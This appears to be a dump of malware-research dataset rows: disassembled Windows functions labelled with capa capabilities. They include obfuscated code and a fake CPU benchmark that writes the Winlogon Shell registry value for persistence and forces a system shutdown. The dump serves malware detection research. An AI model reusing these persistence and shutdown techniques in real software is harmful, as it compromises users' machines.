joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140050d90
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x140050f38
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x140050df5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x140050df5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x140050df5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x140050e2c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x140050e82
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140050e82
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140050e82
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140050e82
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140050e82
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.140050840
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x140050ee4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14002c0c0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.140050c10
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140050f30
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14002c0c0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400526a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x140084080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x140052735
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x140052796
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14002c0c0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140066c90
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x140052851
sub ecx, 1
je 0x1400528c4
sub ecx, 1
je 0x140052800
cmp ecx, 1
je 0x1400527e3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140070770]
call fcn.14002c0c0
jmp 0x1400528c4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400523d0
test eax, eax
je 0x1400528c4
jmp 0x14005276a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400528c4
sub rax, rsi
cmp rax, rbp
jae 0x1400528c4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14002c240
jmp 0x1400528c4
cmp r8d, 4
jle 0x1400528c4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400528c4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14002bfe0
mov esi, eax
test eax, eax
je 0x1400528a3
mov edx, 5
mov rcx, rbx
call fcn.140053390
mov eax, esi
jmp 0x14005276a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14003a0b0
mov rcx, r14
call fcn.14003a390
test eax, eax
je 0x140052768
mov edx, 5
mov rcx, rbx
call fcn.140053390
mov eax, Ordinal_45
jmp 0x14005276a
Function at 0x140066ac0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [section..data]
mov rdi, rax
test rax, rax
jne 0x140066b02
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140066b49
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140066ba2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140066b60
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140066be3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x140077aaa]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x140077aab]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140066bb0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400ae017
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0x4e97887c
pushf
not eax
add eax, 0x9556d399
xor eax, 0xa61c8216
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xf51491fc
xor eax, 0xd82d649e
rol eax, 0x92
popf
pushf
not eax
add eax, 0x85e3d13c
xor eax, 0xcea811b0
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xfc536868
xor eax, 0xfd73c9ab
rol eax, 0x35
popf
cmp eax, 4
jne 0x1400ae07a
popf
pop rax
jmp 0x1400ae289
cmp eax, 0
jne 0x1400ae089
popf
pop rax
jmp 0x1400ae0b6
cmp eax, 3
jne 0x1400ae098
popf
pop rax
jmp 0x1400ae22b
cmp eax, 1
jne 0x1400ae0a7
popf
pop rax
jmp 0x1400ae183
cmp eax, 2
jne 0x1400ae0b6
popf
pop rax
jmp 0x1400ae1bb
push rbx
push rbp
push rsi
sub rsp, 0x20
mov rbx, qword [rcx]
mov rbp, rdx
mov rsi, rcx
mov rbx, qword [rbx + 8]
cmp byte [rbx + 0x19], 0
jne 0x1400ae12a
push rax
pushf
mov eax, 0xe745efae
pushf
not eax
add eax, 0x82a78c39
xor eax, 0xdbcbf206
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xecca1795
xor eax, 0xff8bc3e5
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x8d269d68
xor eax, 0x90c71074
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x952f7b02
xor eax, 0xe9bbdfb8
rol eax, 0xd8
popf
jmp 0x1400ae06b
push rax
pushf
mov eax, 0xf244af17
pushf
not eax
add eax, 0x8bac784b
xor eax, 0xcaf6fd8f
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xc24ca31e
xor eax, 0xef117aa9
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xc7c338e3
xor eax, 0x9ddd585f
rol eax, 0x73
popf
pushf
not eax
add eax, 0xe4b40c54
xor eax, 0xf9a240e2
rol eax, 0x41
popf
jmp 0x1400ae06b
mov qword [rsp + 0x50], rdi
push rax
pushf
mov eax, 0x90848de
pushf
not eax
add eax, 0xb7710b2c
xor eax, 0xa6eaa8fc
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x99b3f19d
xor eax, 0xed71f102
rol eax, 0x14
popf
jmp 0x1400ae06b
mov r8, qword [rbx + 0x10]
mov rdx, rbp
mov rcx, rsi
call fcn.1400e08fe
mov rdi, rbx
mov rbx, qword [rbx]
lea rcx, [rdi + 0x20]
call fcn.140103f06
mov edx, 0x4790aaf9
pushf
not edx
add edx, 0xcc922928
xor edx, 0xfc137ae2
rol edx, 0xcb
popf
pushf
not edx
add edx, 0xcb620f0b
xor edx, 0xe6083e16
rol edx, 0xce
popf
pushf
not edx
add edx, 0x9a89a905
xor edx, 0xb7b471b8
rol edx, 0x4d
popf
mov rcx, rdi
call fcn.1400c3067
cmp byte [rbx + 0x19], 0
je 0x1400ae1bb
mov rdi, qword [rsp + 0x50]
push rax
pushf
mov eax, 0xde0bec8e
pushf
not eax
add eax, 0xabfce630
xor eax, 0xc9839661
rol eax, 0x98
popf
pushf
not eax
add eax, 0xe23bc6c0
xor eax, 0x9d144307
rol eax, 0x60
popf
pushf
not eax
add eax, 0xe2353ca8
xor eax, 0xa77964c4
rol eax, 0xba
popf
pushf
not eax
add eax, 0xf95d2729
xor eax, 0xa34b7a06
rol eax, 0xa8
popf
jmp 0x1400ae06b
mov rcx, qword [rsi]
mov edx, 0xffb38c42
pushf
not edx
add edx, 0xdb8a7b3f
xor edx, 0x8e04688c
rol edx, 0x76
popf
pushf
not edx
add edx, 0xea0cb0dc
xor edx, 0xcdf73c38
rol edx, 0xc5
popf
add rsp, 0x20
pop rsi
pop rbp
pop rbx
jmp fcn.1400c3067
Function at 0x1400b0931
Capabilities:
Authenticate hmac
Encrypt data using chaskey
Hash data using murmur3
Parse credit card information
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0x6e46714c
pushf
not eax
add eax, 0xa39fc0b5
xor eax, 0x86dd44fa
rol eax, 0x34
popf
pushf
not eax
add eax, 0xf4cb7de8
xor eax, 0x9f345bbc
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x87ec1f30
xor eax, 0x9efcd687
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xe73c21df
xor eax, 0xb2c1ba5c
rol eax, 0xfc
popf
cmp eax, 0
jne 0x1400b0994
popf
pop rax
jmp 0x1400b0994
movzx edx, byte [rcx]
add rcx, 8
jmp fcn.1400f46dd
Function at 0x1400bf795
Capabilities:
Hash data using murmur3

Disassembly:
push rax
pushf
mov eax, 0x8cd39ac9
pushf
not eax
add eax, 0xf0aa95ca
xor eax, 0x99b2a41f
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xe5cf31b9
xor eax, 0xe73619f1
rol eax, 0x68
popf
cmp eax, 2
jne 0x1400bf7d2
popf
pop rax
jmp 0x1400bf8b0
cmp eax, 0
jne 0x1400bf7e1
popf
pop rax
jmp 0x1400bf7ff
cmp eax, 3
jne 0x1400bf7f0
popf
pop rax
jmp 0x1400bf91a
cmp eax, 1
jne 0x1400bf7ff
popf
pop rax
jmp 0x1400bf8ac
mov qword [rsp + 0x10], rdx
push rbx
sub rsp, 0x30
mov rbx, rdx
xor edx, edx
mov dword [rsp + 0x20], edx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], dl
mov dword [rsp + 0x20], 1
cmp byte [rcx], 3
jne 0x1400bf866
push rax
pushf
mov eax, 0xf72a5cab
pushf
not eax
add eax, 0x86d6ca93
xor eax, 0xf592b591
rol eax, 0xd
popf
pushf
not eax
add eax, 0x96383e55
xor eax, 0xbf296f0d
rol eax, 0x86
popf
jmp 0x1400bf7c3
push rax
pushf
mov eax, 0x7cd9a4c5
pushf
not eax
add eax, 0xe8f6c087
xor eax, 0xde989a4a
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xf1294282
xor eax, 0xf28e5116
rol eax, 0xf
popf
pushf
not eax
add eax, 0xac963b93
xor eax, 0xacf6b070
rol eax, 0xf0
popf
jmp 0x1400bf7c3
mov rdx, qword [rcx + 8]
mov rcx, rbx
call fcn.14010c6d7
mov rax, rbx
add rsp, 0x30
pop rbx
ret
int3
Function at 0x1400e08fe
Capabilities:
Encode data using xor

Disassembly:
push rax
pushf
mov eax, 0xf0b92fbc
pushf
not eax
add eax, 0x9e5189b9
xor eax, 0x98458bc5
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x8035a79b
xor eax, 0xbea48050
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xbff33cdb
xor eax, 0x864e2931
rol eax, 4
popf
cmp eax, 4
jne 0x1400e094e
popf
pop rax
jmp 0x1400e0afc
cmp eax, 0
jne 0x1400e095d
popf
pop rax
jmp 0x1400e098a
cmp eax, 3
jne 0x1400e096c
popf
pop rax
jmp 0x1400e0ab1
cmp eax, 1
jne 0x1400e097b
popf
pop rax
jmp 0x1400e0a1b
cmp eax, 2
jne 0x1400e098a
popf
pop rax
jmp 0x1400e0a56
push rbx
push rbp
push rsi
sub rsp, 0x20
cmp byte [r8 + 0x19], 0
mov rbx, r8
mov rbp, rdx
mov rsi, rcx
jne 0x1400e09e8
push rax
pushf
mov eax, 0x340eafd8
pushf
not eax
add eax, 0xe56f9b66
xor eax, 0xffa169c0
rol eax, 0x72
popf
pushf
not eax
add eax, 0x861eeabc
xor eax, 0x9bddf3a1
rol eax, 0x10
popf
pushf
not eax
add eax, 0xe989b578
xor eax, 0x8574ce43
rol eax, 0x45
popf
jmp 0x1400e093f
push rax
pushf
mov eax, 0x919ec465
pushf
not eax
add eax, 0xfb773d0f
xor eax, 0xaab27ff6
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x915be3cd
xor eax, 0xe97e64bf
rol eax, 0xec
popf
jmp 0x1400e093f
mov qword [rsp + 0x58], rdi
nop dword [rax]
push rax
pushf
mov eax, 0x9421dcd9
pushf
not eax
add eax, 0xc8baadb3
xor eax, 0xeba954a6
rol eax, 0x63
popf
pushf
not eax
add eax, 0x92c9a063
xor eax, 0x992d7c64
rol eax, 0x8d
popf
jmp 0x1400e093f
mov r8, qword [rbx + 0x10]
mov rdx, rbp
mov rcx, rsi
call fcn.1400e08fe
mov rdi, rbx
mov rbx, qword [rbx]
lea rcx, [rdi + 0x20]
call fcn.140103f06
mov edx, 0x1d3261ce
pushf
not edx
add edx, 0xd7c66dcf
xor edx, 0xcccc2908
rol edx, 0x2d
popf
pushf
not edx
add edx, 0xf0e0e6c1
xor edx, 0xec3f87f5
rol edx, 0x78
popf
mov rcx, rdi
call fcn.1400c3067
cmp byte [rbx + 0x19], 0
je 0x1400e0a56
mov rdi, qword [rsp + 0x58]
push rax
pushf
mov eax, 0x454dc36
pushf
not eax
add eax, 0xd8f5e7e6
xor eax, 0xab52ccbb
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xccca25e0
xor eax, 0xaa1e80f3
rol eax, 0x81
popf
pushf
not eax
add eax, 0xf0eba57f
xor eax, 0xfcf97b79
rol eax, 0x5d
popf
jmp 0x1400e093f
add rsp, 0x20
pop rsi
pop rbp
pop rbx
ret
Function at 0x4015ec
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push rbx
add rsp, 0xffffffffffffff80
movaps xmmword [rsp + 0x50], xmm6
movaps xmmword [rsp + 0x60], xmm7
movaps xmmword [rsp + 0x70], xmm8
mov qword [rsp + 0x90], rcx
mov rdx, qword [rsp + 0x90]
lea rcx, str.CPU_test__llu
call fcn.00401550
lea rax, [rsp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call rax
lea rax, [rsp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call rax
mov ebx, 0
jmp 0x40164a
add rbx, 1
cmp rbx, qword [rsp + 0x90]
jb 0x401646
lea rax, [rsp + 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call rax
mov rdx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
sub rdx, rax
mov rax, rdx
cvtsi2sd xmm0, rax
mov rax, qword [rsp + 0x48]
cvtsi2sd xmm1, rax
movapd xmm6, xmm0
divsd xmm6, xmm1
movsd xmm0, qword [0x00405278]
movapd xmm1, xmm0
mulsd xmm1, xmm6
mov rax, qword [rsp + 0x90]
test rax, rax
js 0x4016b0
cvtsi2sd xmm0, rax
jmp 0x4016c5
mov rdx, rax
shr rdx, 1
and eax, 1
or rdx, rax
cvtsi2sd xmm0, rdx
addsd xmm0, xmm0
movapd xmm7, xmm1
divsd xmm7, xmm0
mov rax, qword [0x00408030]
movsd xmm8, qword [rax]
mov rax, qword [0x00408030]
movapd xmm0, xmm8
addsd xmm0, xmm7
movsd qword [rax], xmm0
mov rax, qword [0x00408030]
movsd xmm0, qword [rax]
movq rax, xmm7
mov rdx, rax
movq xmm2, rax
movq rax, xmm6
mov r8, rax
mov rcx, rax
mov rax, r8
movq xmm1, rcx
movsd qword [rsp + 0x20], xmm0
movq xmm3, rdx
movq r9, xmm2
movq xmm2, rax
movq r8, xmm1
mov rdx, qword [rsp + 0x90]
lea rcx, str.::_iterations_llu_::_CPU_time_usage__f_sec_:::_SCORE:__f_:::_FINAL_SCORE:__f_n
call fcn.00401550
nop
movaps xmm6, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x60]
movaps xmm8, xmmword [rsp + 0x70]
sub rsp, 0xffffffffffffff80
pop rbx
ret

Function at 0x40175d
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsp + 0x40]
call sub.msvcrt.dll_malloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x4017a9
mov ecx, 2
mov rax, qword [fcn.00403570]
call rax
mov r9, rax
mov r8d, 0x19
mov edx, 1
lea rcx, str.Memory_allocation_failed_n
call sub.msvcrt.dll_fwrite
nop
jmp 0x4017e3
mov rax, qword [rsp + 0x28]
mov r8, qword [rsp + 0x40]
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov ebx, 0
jmp 0x4017d7
mov rax, qword [rsp + 0x28]
add rax, rbx
mov edx, ebx
mov byte [rax], dl
add rbx, 1
cmp rbx, qword [rsp + 0x40]
jb 0x4017c7
mov rax, qword [rsp + 0x28]
add rsp, 0x30
pop rbx
ret
Function at 0x4017e9
Capabilities:
Write file on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdx
cmp qword [rsp + 0x40], 0
jne 0x40182c
mov ecx, 2
mov rax, qword [fcn.00403570]
call rax
mov r9, rax
mov r8d, 0x19
mov edx, 1
lea rcx, str.Memory_allocation_failed_n
call sub.msvcrt.dll_fwrite
jmp 0x401887
mov ebx, 0
jmp 0x401875
mov rax, qword [rsp + 0x40]
add rax, rbx
movzx esi, byte [rax]
mov edi, ebx
cmp sil, dil
je 0x401871
mov rax, qword [rsp + 0x40]
lea rsi, [rbx + rax]
mov ecx, 2
mov rax, qword [fcn.00403570]
call rax
mov r9, rsi
mov r8, rbx
lea rdx, str.Verification_failed_at_byte__llu___p__n
mov rcx, rax
call sub.msvcrt.dll_fprintf
add rbx, 1
cmp rbx, qword [rsp + 0x48]
jb 0x401833
mov rcx, qword [rsp + 0x40]
call sub.msvcrt.dll_free
nop
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x401c89
Capabilities:
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x70], rcx
lea rax, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov qword [rsp + 0x58], rax
lea rax, str.Shell
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x58]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x401d68
mov rax, qword [rsp + 0x48]
mov rcx, rax
call sub.msvcrt.dll_strlen
lea ecx, [rax + 1]
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x50]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x401d43
lea rcx, [0x0040518c]
call sub.msvcrt.dll_puts
jmp 0x401d55
mov eax, dword [rsp + 0x40]
mov edx, eax
lea rcx, str._____d_n
call sub.msvcrt.dll_printf
mov rax, qword [rsp + 0x38]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
jmp 0x401d7a
mov eax, dword [rsp + 0x44]
mov edx, eax
lea rcx, str.___d_n
call sub.msvcrt.dll_printf
nop
add rsp, 0x68
ret

Function at 0x401e81
Capabilities:
Create process on windows
Shutdown system

Disassembly:
sub rsp, 0x48
mov dword [rsp + 0x50], ecx
mov qword [rsp + 0x58], rdx
call fcn.00402080
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rsp + 0x38]
mov r8, rax
mov edx, 0x28
mov rax, qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call rax
test eax, eax
jne 0x401ec5
lea rcx, [0x00405221]
call sub.msvcrt.dll_puts
mov rax, qword [rsp + 0x38]
mov r8d, 1
lea rdx, str.SeShutdownPrivilege
mov rcx, rax
call fcn.00401d80
test eax, eax
jne 0x401f00
mov rax, qword [rsp + 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rcx, [0x00405239]
call sub.msvcrt.dll_puts
mov rax, qword [rsp + 0x58]
mov rax, qword [rax]
mov rcx, rax
call fcn.00401c89
mov ecx, 8
call sub.msvcrt.dll_malloc
mov qword [0x00408030], rax
mov rax, qword [0x00408030]
pxor xmm0, xmm0
movsd qword [rax], xmm0
call fcn.004019c1
mov ecx, 0xf4240
call fcn.004015ec
mov ecx, 0x4c4b40
call fcn.004015ec
mov rax, qword [0x00408030]
movsd xmm0, qword [rax]
movq rax, xmm0
mov rdx, rax
movq xmm1, rdx
mov rdx, rax
lea rcx, str._____TOTAL_SCORE:__f______r_n_r_n
call sub.msvcrt.dll_printf
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov edx, 0
mov ecx, 6
mov rax, qword [sym.imp.USER32.dll_ExitWindowsEx]
call rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, str._r__t_0
lea r8, str.shutdown
lea rdx, str.runas
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov eax, 0
add rsp, 0x48
ret
Function at 0x4024f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x402678
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40253c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x4025c5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402520
mov rcx, rbx
call fcn.00403190
test rax, rax
mov r12, rax
je 0x4026ad
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.004032c0
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402690
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4025be
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402620
add dword [0x00408624], 1
cmp edi, 8
jae 0x4025f3
test dil, 4
jne 0x402664
test edi, edi
je 0x4025e8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40267f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x4025e8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40260c
jmp 0x4025e8
add rsi, qword [0x00408628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4025be
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00403720
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x4025e8
xor esi, esi
jmp 0x402547
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x4025e8
mov rax, qword [0x00408628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.00403720
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00403720
nop
nop dword [rax]

Function at 0x402e00
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x402e54
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
